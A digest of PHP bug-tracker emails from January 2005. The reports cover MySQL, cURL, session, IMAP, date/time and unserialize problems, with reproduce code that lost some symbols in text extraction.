#31426 [NEW]: IIS and mysql_fetch_field
From: guillaume dot jung at usocome dot com
Operating system: Windows 2000
PHP version: 5.0.3
PHP Bug Type: MySQL related
Bug description: IIS and mysql_fetch_field
Description:
With the last version of PHP5 mysql_fetch_field block and all scripts are
timed out.
Reproduce code:
---
function PMA_DBI_get_fields_meta($result) {
$fields = array();
$num_fields = mysql_num_fields($result);
for ($i = 1; $i $num_fields; $i++) {
$fields[] = PMA_convert_display_charset(mysql_fetch_field($result,
$i));
}
return $fields;
}
Expected result:
This code come from phpmyadmin and when I execute sql.php file it blocks.
Actual result:
--
Script timed out.
--
Edit bug report at http://bugs.php.net/?id=31426edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=31426r=trysnapshot4
Try a CVS snapshot (php5.0):
http://bugs.php.net/fix.php?id=31426r=trysnapshot50
Try a CVS snapshot (php5.1):
http://bugs.php.net/fix.php?id=31426r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=31426r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=31426r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=31426r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=31426r=needscript
Try newer version: http://bugs.php.net/fix.php?id=31426r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=31426r=support
Expected behavior: http://bugs.php.net/fix.php?id=31426r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=31426r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=31426r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=31426r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=31426r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=31426r=dst
IIS Stability: http://bugs.php.net/fix.php?id=31426r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=31426r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=31426r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=31426r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=31426r=mysqlcfg
#31426 [Opn-Fbk]: IIS and mysql_fetch_field
ID: 31426
Updated by: [EMAIL PROTECTED]
Reported By: guillaume dot jung at usocome dot com
-Status: Open
+Status: Feedback
Bug Type: MySQL related
Operating System: Windows 2000
PHP Version: 5.0.3
New Comment:
Which mysql client and server version do you use?
Previous Comments:
[2005-01-06 11:08:36] guillaume dot jung at usocome dot com
Description:
With the last version of PHP5 mysql_fetch_field block and all scripts
are timed out.
Reproduce code:
---
function PMA_DBI_get_fields_meta($result) {
$fields = array();
$num_fields = mysql_num_fields($result);
for ($i = 1; $i $num_fields; $i++) {
$fields[] =
PMA_convert_display_charset(mysql_fetch_field($result, $i));
}
return $fields;
}
Expected result:
This code come from phpmyadmin and when I execute sql.php file it
blocks.
Actual result:
--
Script timed out.
--
Edit this bug report at http://bugs.php.net/?id=31426edit=1
#31413 [Asn-Csd]: cURL not posting on 64-bit machine
ID: 31413
Updated by: [EMAIL PROTECTED]
Reported By: travis at etrafficsolutions dot com
-Status: Assigned
+Status: Closed
Bug Type: cURL related
Operating System: Linux
PHP Version: 4.3.10
Assigned To: jorton
New Comment:
Great, thanks for testing it out. The patch is in 4.3/5.0/5.1 CVS now,
there was talk about 4.3.11 being rolled early this month.
Previous Comments:
[2005-01-06 01:14:32] travis at etrafficsolutions dot com
Works!
Thanks so much for the quick response.
Any idea when this will be in CVS and when the next version (of php)
will be released?
Thanks again.
[2005-01-05 22:36:06] [EMAIL PROTECTED]
Can you try this patch: http://www.apache.org/~jorton/php_curl64.diff
[2005-01-05 01:31:31] travis at etrafficsolutions dot com
Description:
CURL Information: libcurl/7.12.3 OpenSSL/0.9.7d zlib/1.2.1
Tested with PHP 4.3.10 and the latest php4 cvs.
When I run the script below on a 64-bit AMD machine, the post received
by the receiving script are empty. Nothing is posted.
To try and figure out if cURL was having problems or if it was PHP, I
tried the exact same submit using curl command line, to the same
receiving script. Works as expected.
curl -d key=value http://{URL_HERE}/curl_receive.php
Returns a var_dump() with the key key holding a value of value
I have tested this on 3+ 32-bit machines, without any problems (script
or command line curl). I have also tested on 3 64-bit machines, all of
them failed when the script was run, but were successful when run from
command line curl.
-
If I can provide any more information to help with this, please reply
and I will get it to you asap.
Reproduce code:
---
?php
// curl_submit.php
$ch = curl_init();
// replace {URL_HERE} to where you put this script
curl_setopt($ch, CURLOPT_URL, http://{URL_HERE}/curl_receive.php;);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
$post_array = array(
'key' = 'value');
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_array);
$response = curl_exec($ch);
var_dump($response);
?
?php
// curl_receive.php
var_dump($_POST);
?
Expected result:
array(1) {
[key]=
string(5) value
}
Actual result:
--
array(0) {}
--
Edit this bug report at http://bugs.php.net/?id=31413edit=1
#31412 [Fbk-Opn]: Problem when sending multipart/form-data
ID: 31412 User updated by: info at bodoo dot net Reported By: info at bodoo dot net -Status: Feedback +Status: Open Bug Type: *General Issues Operating System: Linux PHP Version: 4.3.10 New Comment: Thank you Sniper for your swift response and the perfect result. The new version is working great. Once again thank you all who is developing php, you are doing a great work. // Martin Brolin bodoo.net Previous Comments: [2005-01-05 10:35:13] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php4-STABLE-latest.tar.gz For Windows: http://snaps.php.net/win32/php4-win32-STABLE-latest.zip [2005-01-04 23:14:28] info at bodoo dot net Description: when posting an form with the webbrowser mozilla firefox an dialog box appears that says The document has no data even when the form has data and works with explorer. This problem started when we upgraded to version 4.3.10, it worked fine in 4.3.9 I have tested to change the version back to 4.3.9 and then it works. The form uses enctype=multipart/form-data for making it possible to upload a picture. When posting the form with an picture it works so perhaps there is something wrong with posting mulitpart/form-data. Reproduce code: --- To reproduce the failure go to this address, it´s ok to post a new ad. Put php as a name and I now it´s a test ad. http://www.bodoo.net/NewAd/kategori.php Choose to make an ad for cars and fill in a name email subject text currancy brand miles check the agree box You should now get an dialog box wich says ' The document has no data If you repeat the above but ad an picture it works. Expected result: The expected result should be a confirmation page that says Your ad i now saved to our database Actual result: -- A dialog box that says The document has no data -- Edit this bug report at http://bugs.php.net/?id=31412edit=1
#31412 [Opn-Csd]: Problem when sending multipart/form-data
ID: 31412 Updated by: [EMAIL PROTECTED] Reported By: info at bodoo dot net -Status: Open +Status: Closed Bug Type: *General Issues Operating System: Linux PHP Version: 4.3.10 New Comment: This bug has been fixed in CVS. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. Thank you for the report, and for helping us make PHP better. Previous Comments: [2005-01-06 12:49:36] info at bodoo dot net Thank you Sniper for your swift response and the perfect result. The new version is working great. Once again thank you all who is developing php, you are doing a great work. // Martin Brolin bodoo.net [2005-01-05 10:35:13] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php4-STABLE-latest.tar.gz For Windows: http://snaps.php.net/win32/php4-win32-STABLE-latest.zip [2005-01-04 23:14:28] info at bodoo dot net Description: when posting an form with the webbrowser mozilla firefox an dialog box appears that says The document has no data even when the form has data and works with explorer. This problem started when we upgraded to version 4.3.10, it worked fine in 4.3.9 I have tested to change the version back to 4.3.9 and then it works. The form uses enctype=multipart/form-data for making it possible to upload a picture. When posting the form with an picture it works so perhaps there is something wrong with posting mulitpart/form-data. Reproduce code: --- To reproduce the failure go to this address, it´s ok to post a new ad. Put php as a name and I now it´s a test ad. http://www.bodoo.net/NewAd/kategori.php Choose to make an ad for cars and fill in a name email subject text currancy brand miles check the agree box You should now get an dialog box wich says ' The document has no data If you repeat the above but ad an picture it works. Expected result: The expected result should be a confirmation page that says Your ad i now saved to our database Actual result: -- A dialog box that says The document has no data -- Edit this bug report at http://bugs.php.net/?id=31412edit=1
#31426 [Fbk-Opn]: IIS and mysql_fetch_field
ID: 31426
User updated by: guillaume dot jung at usocome dot com
Reported By: guillaume dot jung at usocome dot com
-Status: Feedback
+Status: Open
Bug Type: MySQL related
Operating System: Windows 2000
PHP Version: 5.0.3
New Comment:
I use MySQL 4.0.21 on Windows 2000 SP4 Server.
After some minutes I receive this message :
a href=tbl_propertiesHTTP/1.1 502 Gateway Error Server:
Microsoft-IIS/5.0 Date: Thu, 06 Jan 2005 12:17:47 GMT Connection: close
Content-Length: 186 Content-Type: text/html
CGI Timeout
The specified CGI application exceeded the allowed time for processing.
The server has deleted the process.
Previous Comments:
[2005-01-06 11:30:46] [EMAIL PROTECTED]
Which mysql client and server version do you use?
[2005-01-06 11:08:36] guillaume dot jung at usocome dot com
Description:
With the last version of PHP5 mysql_fetch_field block and all scripts
are timed out.
Reproduce code:
---
function PMA_DBI_get_fields_meta($result) {
$fields = array();
$num_fields = mysql_num_fields($result);
for ($i = 1; $i $num_fields; $i++) {
$fields[] =
PMA_convert_display_charset(mysql_fetch_field($result, $i));
}
return $fields;
}
Expected result:
This code come from phpmyadmin and when I execute sql.php file it
blocks.
Actual result:
--
Script timed out.
--
Edit this bug report at http://bugs.php.net/?id=31426edit=1
#30810 [Com]: discrepancy of bitwise operations between php4.3.9 and php5.0.2
ID: 30810
Comment by: rs at esoft dot dk
Reported By: swoo at gvlabs dot com
Status: Open
Bug Type: Variables related
Operating System: winxp
PHP Version: 5.0.2
New Comment:
Seems to be fixed in 5.0.3
Previous Comments:
[2004-11-17 04:51:05] swoo at gvlabs dot com
Description:
This problem was discovered when I was testing some working code in
preparation for migrating from php4 to php5.
The example is a fragment of the logic used to read an ieee 754 number
from an excel spreadsheet. When you run the code in php4 it yields the
correct interpretation. However, with php5 it appears that the bitwise
mask and shift when setting $fexp fails with the code that works with
php4.
Also, the php5 resolution of the number is slightly higher.
I recoded the example with the logic that works with php5.
Was there a change in the ieee library or a change to the casting of a
floating point number for bit manipulation in php5? I have not tested
this on any other platform.
Reproduce code:
---
?php // example of the problem - run with php4 then run with php5
//25f2d18aa9d26dc0
$binarydata = pack(, 0x25, 0xf2, 0xd1, 0x8a, 0xa9, 0xd2,
0x6d, 0xc0);
// php5 ans: -238.598699007
// php4 ans: -238.583196077
echo ieee($binarydata, false);
echo \n;
echo ieee($binarydata, true);
function ieee($ieee, $php4test){
if($php4test){
echo php4 test ;
} else {
echo php5 test ;
}
if($php4test){
// php 4.3.9 Built: Sep 21 2004 14:04:26
// Zend Engine v1.3.0
$num_lo =
16777216*ord($ieee[3])+(ord($ieee[0])|(ord($ieee[1])8)|(ord($ieee[2])16));
$num_hi =
16777216*ord($ieee[7])+(ord($ieee[4])|(ord($ieee[5])8)|(ord($ieee[6])16));
$fexp = (($num_hi 0x7ff0) 20) - 1023; // FAILS IN
PHP5
$val = 1+(($num_hi 0x000f)+$num_lo/4294967296)/1048576;
} else {
// php 5.0.2 (cli) build: Sep 24 2004 01:25:41
// Zend Engine v2.0.2
$num_lo =
(pow(2,24)*ord($ieee[3]))+(ord($ieee[0])|(ord($ieee[1])8)|(ord($ieee[2])16));
$num_hi = (pow(2,24)*ord($ieee[7])
0x7f)+(ord($ieee[4])|(ord($ieee[5])8)|((ord($ieee[6]) 0x1f)16));
$b1 = (ord($ieee[7]) 0x7f); // strip the sign bit from the
high
byte
$b2 = (ord($ieee[6]) 4); // get byte leftmost bits
$b3 =($b1 4) + ($b2); // shift 4 bits and add low 4 bits
$fexp = $b3 - 1023; // exponent
$val = 1+ ($num_hi + ($num_lo/pow(2,32)))/pow(2,20);
}
if( ($fexp==1024) || ($fexp==-1023) )
return (float)0;
if( $fexp 0 ) {
for( $i=0; $i$fexp; $i++ )
$val *= 2;
} else {
for( $i=0; $iabs($fexp); $i++ )
$val /= 2;
}
if($php4test){
if( $num_hi 0x8000 ) $val = -$val;
} else {
if(ord($ieee[7]) 0x80) $val = -$val; // check the high
byte's high
bit
}
return (float)$val;
}
?
Expected result:
(when run with php4)
php5 test -238.583196077
php4 test -238.583196077
(when run with php5)
php5 test -238.598699007
php4 test -238.598699007
Actual result:
--
(when run with php4)
php5 test -238.583196077
php4 test -238.583196077
(when run with php5)
php5 test -238.598699007
php4 test 0
--
Edit this bug report at http://bugs.php.net/?id=30810edit=1
#30810 [Opn-Fbk]: discrepancy of bitwise operations between php4.3.9 and php5.0.2
ID: 30810
Updated by: [EMAIL PROTECTED]
Reported By: swoo at gvlabs dot com
-Status: Open
+Status: Feedback
Bug Type: Variables related
Operating System: winxp
PHP Version: 5.0.2
New Comment:
Please try using this CVS snapshot:
http://snaps.php.net/php5-STABLE-latest.tar.gz
For Windows:
http://snaps.php.net/win32/php5.0-win32-latest.zip
Previous Comments:
[2005-01-06 15:04:13] rs at esoft dot dk
Seems to be fixed in 5.0.3
[2004-11-17 04:51:05] swoo at gvlabs dot com
Description:
This problem was discovered when I was testing some working code in
preparation for migrating from php4 to php5.
The example is a fragment of the logic used to read an ieee 754 number
from an excel spreadsheet. When you run the code in php4 it yields the
correct interpretation. However, with php5 it appears that the bitwise
mask and shift when setting $fexp fails with the code that works with
php4.
Also, the php5 resolution of the number is slightly higher.
I recoded the example with the logic that works with php5.
Was there a change in the ieee library or a change to the casting of a
floating point number for bit manipulation in php5? I have not tested
this on any other platform.
Reproduce code:
---
?php // example of the problem - run with php4 then run with php5
//25f2d18aa9d26dc0
$binarydata = pack(, 0x25, 0xf2, 0xd1, 0x8a, 0xa9, 0xd2,
0x6d, 0xc0);
// php5 ans: -238.598699007
// php4 ans: -238.583196077
echo ieee($binarydata, false);
echo \n;
echo ieee($binarydata, true);
function ieee($ieee, $php4test){
if($php4test){
echo php4 test ;
} else {
echo php5 test ;
}
if($php4test){
// php 4.3.9 Built: Sep 21 2004 14:04:26
// Zend Engine v1.3.0
$num_lo =
16777216*ord($ieee[3])+(ord($ieee[0])|(ord($ieee[1])8)|(ord($ieee[2])16));
$num_hi =
16777216*ord($ieee[7])+(ord($ieee[4])|(ord($ieee[5])8)|(ord($ieee[6])16));
$fexp = (($num_hi 0x7ff0) 20) - 1023; // FAILS IN
PHP5
$val = 1+(($num_hi 0x000f)+$num_lo/4294967296)/1048576;
} else {
// php 5.0.2 (cli) build: Sep 24 2004 01:25:41
// Zend Engine v2.0.2
$num_lo =
(pow(2,24)*ord($ieee[3]))+(ord($ieee[0])|(ord($ieee[1])8)|(ord($ieee[2])16));
$num_hi = (pow(2,24)*ord($ieee[7])
0x7f)+(ord($ieee[4])|(ord($ieee[5])8)|((ord($ieee[6]) 0x1f)16));
$b1 = (ord($ieee[7]) 0x7f); // strip the sign bit from the
high
byte
$b2 = (ord($ieee[6]) 4); // get byte leftmost bits
$b3 =($b1 4) + ($b2); // shift 4 bits and add low 4 bits
$fexp = $b3 - 1023; // exponent
$val = 1+ ($num_hi + ($num_lo/pow(2,32)))/pow(2,20);
}
if( ($fexp==1024) || ($fexp==-1023) )
return (float)0;
if( $fexp 0 ) {
for( $i=0; $i$fexp; $i++ )
$val *= 2;
} else {
for( $i=0; $iabs($fexp); $i++ )
$val /= 2;
}
if($php4test){
if( $num_hi 0x8000 ) $val = -$val;
} else {
if(ord($ieee[7]) 0x80) $val = -$val; // check the high
byte's high
bit
}
return (float)$val;
}
?
Expected result:
(when run with php4)
php5 test -238.583196077
php4 test -238.583196077
(when run with php5)
php5 test -238.598699007
php4 test -238.598699007
Actual result:
--
(when run with php4)
php5 test -238.583196077
php4 test -238.583196077
(when run with php5)
php5 test -238.598699007
php4 test 0
--
Edit this bug report at http://bugs.php.net/?id=30810edit=1
#31427 [NEW]: New session id with session_start()
From: l_bellei at virgilio dot it Operating system: windows PHP version: 5.0.3 PHP Bug Type: Session related Bug description: New session id with session_start() Description: I have a new session_id (and a new session file in the temp directory) on every page when call session_start() at the top of page. The server is an apache 2.0.53 with php 5.0.3 on windows 2000 sp4. php.ini is modify only in the section of Error handling and logging for debug use. Reproduce code: --- //page 1 ?php session_start(); $_SESSION['test']='123'; header(location:page2.php); ? //page 2 ?php session_start(); echo $_SESSION['test']; ? -- Edit bug report at http://bugs.php.net/?id=31427edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=31427r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=31427r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=31427r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=31427r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=31427r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=31427r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=31427r=needscript Try newer version: http://bugs.php.net/fix.php?id=31427r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=31427r=support Expected behavior: http://bugs.php.net/fix.php?id=31427r=notwrong Not enough info: http://bugs.php.net/fix.php?id=31427r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=31427r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=31427r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=31427r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=31427r=dst IIS Stability: http://bugs.php.net/fix.php?id=31427r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=31427r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=31427r=float No Zend Extensions: http://bugs.php.net/fix.php?id=31427r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=31427r=mysqlcfg
#31428 [NEW]: Useless results from mssql_get_last_message()
From: klaus dot kuehne at gga-hannover dot de
Operating system: Windows XP Server
PHP version: 4.3.10
PHP Bug Type: MSSQL related
Bug description: Useless results from mssql_get_last_message()
Description:
Hello,
in many cases, mssql_get_last_message() delivers useless results, which
are differing from the original SQL Server messages. An example:
..
$ret = mssql_query(insert into TAB (KEY) values (13), $con);
if (!$ret) {
$errtxt = mssql_get_last_message();
die($errtxt);
}
..
if value 13 already exists in the unique indexed column KEY of TAB,
$errtxt will be set to Die Anweisung wurde beendet (in german,
translated to english like statement aborted). Instead of this, one
could expect the message Cannot insert duplicate key row in object ...
with unique index ... (Code = 2601).
This occurs in many other cases, too. In other cases (e. g. SQL-access
failed caused by missing user rights on the table),
mssql_get_last_message() delivers an empty string, even if the return code
of mssql_query() is FALSE.
What ist the reason for mhis?
Regards
Klaus Kühne, GGA Institute Hannover, Germany
--
Edit bug report at http://bugs.php.net/?id=31428edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=31428r=trysnapshot4
Try a CVS snapshot (php5.0):
http://bugs.php.net/fix.php?id=31428r=trysnapshot50
Try a CVS snapshot (php5.1):
http://bugs.php.net/fix.php?id=31428r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=31428r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=31428r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=31428r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=31428r=needscript
Try newer version: http://bugs.php.net/fix.php?id=31428r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=31428r=support
Expected behavior: http://bugs.php.net/fix.php?id=31428r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=31428r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=31428r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=31428r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=31428r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=31428r=dst
IIS Stability: http://bugs.php.net/fix.php?id=31428r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=31428r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=31428r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=31428r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=31428r=mysqlcfg
#31429 [NEW]: IMAP Version not correct in phpinfo()
From: slusarz at curecanti dot org Operating system: Fedora Core 3 PHP version: 4.3.10 PHP Bug Type: IMAP related Bug description: IMAP Version not correct in phpinfo() Description: For any version of imap/c-client post-2000, the version information is given as 2000 in phpinfo() (i.e. using imap-2004a still shows the version as 2000 in phpinfo()). -- Edit bug report at http://bugs.php.net/?id=31429edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=31429r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=31429r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=31429r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=31429r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=31429r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=31429r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=31429r=needscript Try newer version: http://bugs.php.net/fix.php?id=31429r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=31429r=support Expected behavior: http://bugs.php.net/fix.php?id=31429r=notwrong Not enough info: http://bugs.php.net/fix.php?id=31429r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=31429r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=31429r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=31429r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=31429r=dst IIS Stability: http://bugs.php.net/fix.php?id=31429r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=31429r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=31429r=float No Zend Extensions: http://bugs.php.net/fix.php?id=31429r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=31429r=mysqlcfg
#31430 [NEW]: Hour is lost
From: mne at nm dot ru
Operating system: any
PHP version: 4.3.8
PHP Bug Type: Date/time related
Bug description: Hour is lost
Description:
Between March, 26 and 27, 2005 1 hour is lost
Reproduce code:
---
?php
for($i=852800; $i914000; $i+=3600)
echo 'Bi='.$i.'/B; '.date('d F Y H:i:s', $i).'BR';
?
Expected result:
i=852800; 26 March 2005 19:00:00
i=856400; 26 March 2005 20:00:00
i=86; 26 March 2005 21:00:00
i=863600; 26 March 2005 22:00:00
i=867200; 26 March 2005 23:00:00
i=870800; 27 March 2005 00:00:00
i=874400; 27 March 2005 01:00:00
i=878000; 27 March 2005 02:00:00
i=881600; 27 March 2005 03:00:00
i=885200; 27 March 2005 04:00:00
i=00; 27 March 2005 05:00:00
i=892400; 27 March 2005 06:00:00
i=896000; 27 March 2005 07:00:00
i=899600; 27 March 2005 08:00:00
i=903200; 27 March 2005 09:00:00
i=906800; 27 March 2005 10:00:00
i=910400; 27 March 2005 11:00:00
Actual result:
--
i=852800; 26 March 2005 19:00:00
i=856400; 26 March 2005 20:00:00
i=86; 26 March 2005 21:00:00
i=863600; 26 March 2005 22:00:00
i=867200; 26 March 2005 23:00:00
i=870800; 27 March 2005 00:00:00
i=874400; 27 March 2005 01:00:00
i=878000; 27 March 2005 03:00:00
i=881600; 27 March 2005 04:00:00
i=885200; 27 March 2005 05:00:00
i=00; 27 March 2005 06:00:00
i=892400; 27 March 2005 07:00:00
i=896000; 27 March 2005 08:00:00
i=899600; 27 March 2005 09:00:00
i=903200; 27 March 2005 10:00:00
i=906800; 27 March 2005 11:00:00
i=910400; 27 March 2005 12:00:00
--
Edit bug report at http://bugs.php.net/?id=31430edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=31430r=trysnapshot4
Try a CVS snapshot (php5.0):
http://bugs.php.net/fix.php?id=31430r=trysnapshot50
Try a CVS snapshot (php5.1):
http://bugs.php.net/fix.php?id=31430r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=31430r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=31430r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=31430r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=31430r=needscript
Try newer version: http://bugs.php.net/fix.php?id=31430r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=31430r=support
Expected behavior: http://bugs.php.net/fix.php?id=31430r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=31430r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=31430r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=31430r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=31430r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=31430r=dst
IIS Stability: http://bugs.php.net/fix.php?id=31430r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=31430r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=31430r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=31430r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=31430r=mysqlcfg
#31431 [NEW]: Segfault in imap_8bit() with UTF-8 data
From: jan at horde dot org Operating system: Linux PHP version: 4CVS-2005-01-06 (stable) PHP Bug Type: IMAP related Bug description: Segfault in imap_8bit() with UTF-8 data Description: Find a single PHP call script and some UTF-8 example data at: http://www.horde.org/~jan/imap_8bit.tgz that causes imap_8bit() to segfault. -- Edit bug report at http://bugs.php.net/?id=31431edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=31431r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=31431r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=31431r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=31431r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=31431r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=31431r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=31431r=needscript Try newer version: http://bugs.php.net/fix.php?id=31431r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=31431r=support Expected behavior: http://bugs.php.net/fix.php?id=31431r=notwrong Not enough info: http://bugs.php.net/fix.php?id=31431r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=31431r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=31431r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=31431r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=31431r=dst IIS Stability: http://bugs.php.net/fix.php?id=31431r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=31431r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=31431r=float No Zend Extensions: http://bugs.php.net/fix.php?id=31431r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=31431r=mysqlcfg
#13437 [Com]: PHP cores on exit; memory deallocation problem?
ID: 13437 Comment by: tomi at vacilando dot org Reported By: dshadow at zort dot net Status: No Feedback Bug Type: Reproducible crash Operating System: Linux Solaris PHP Version: 4.1.1 New Comment: Same deal.. this bug seems to have returned back in PHP 5.0.3!! I have serialized 3D array with 3 elements that is something like 3.1 MB long. Unserialize() of this takes several minutes, which is absolutely unacceptable. In PHP 4.3.3 the same takes a split second... Previous Comments: [2003-07-02 02:19:30] morgan at mindviz dot com I am currently doing some work with php for a server application. At times I will read in roughly 1-2MB of data and unserialize it, at this point the memory usage in top will spike up to 10MB and sit there indefinitely. I have run the program over and tested without the unserialize being used, still loading the data being into a string, and no jump to 10MB. Is there some memory leak issue in the unserialize routine? This is pretty critical for me, everytime I call unserialize on the large set of data loaded in it will jump a bit more from the 10MB, and keep doing that until my entire system is exhausted of memory. At this point I am considering writing my own unserialize routine to see if it helps. I have tried this with version 4.2.3, 4.3.1 and 4.3.2 and get the same results. Any help would be great, thanks [2002-11-27 11:04:47] kennon at retirequickly dot com This same behavior is happening to me using PHP version 4.1.2. I have a script that has several very large arrays (~200MB each), and after the script is finished, the php process begins to max out the processor, and can take hours to finish. Sometimes the script will stop with a Maximum execution time of 30 seconds in file Unknown error, even though I have the max time at 1 hour. I even tried to manually unset() the large variables, and while the unset() calls appear to be successful, the same behavior is still present. This feels like exactly the same bug, but I can provide a backtrace if necessary. I'm running Redhat 7.3 on a dual processor intel system. Thanks! [2002-08-05 01:00:12] php-bugs at lists dot php dot net No feedback was provided for this bug for over a month, so it is being suspended automatically. If you are able to provide the information that was originally requested, please do so and change the status of the bug back to Open. [2002-07-04 16:18:26] [EMAIL PROTECTED] Thank you for taking the time to report a problem with PHP. Unfortunately your are not using a current version of PHP -- the problem might already be fixed. Please download a new PHP version from http://www.php.net/downloads.php If you are able to reproduce the bug with one of the latest versions of PHP, please change the PHP version on this bug report to the version you tested and change the status back to Open. Again, thank you for your continued support of PHP. [2002-02-04 16:21:13] [EMAIL PROTECTED] On user request status = open The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/13437 -- Edit this bug report at http://bugs.php.net/?id=13437edit=1
#31430 [Opn-Bgs]: Hour is lost
ID: 31430
Updated by: [EMAIL PROTECTED]
Reported By: mne at nm dot ru
-Status: Open
+Status: Bogus
Bug Type: Date/time related
Operating System: any
PHP Version: 4.3.8
New Comment:
We are happy to tell you that you just discovered Daylight Savings
Time. For more information see:
http://webexhibits.org/daylightsaving/b.html
Instead of using mktime/date consider using gmmktime and gmdate which
do
not suffer from DST.
.
Previous Comments:
[2005-01-06 17:13:41] mne at nm dot ru
Description:
Between March, 26 and 27, 2005 1 hour is lost
Reproduce code:
---
?php
for($i=852800; $i914000; $i+=3600)
echo 'Bi='.$i.'/B; '.date('d F Y H:i:s', $i).'BR';
?
Expected result:
i=852800; 26 March 2005 19:00:00
i=856400; 26 March 2005 20:00:00
i=86; 26 March 2005 21:00:00
i=863600; 26 March 2005 22:00:00
i=867200; 26 March 2005 23:00:00
i=870800; 27 March 2005 00:00:00
i=874400; 27 March 2005 01:00:00
i=878000; 27 March 2005 02:00:00
i=881600; 27 March 2005 03:00:00
i=885200; 27 March 2005 04:00:00
i=00; 27 March 2005 05:00:00
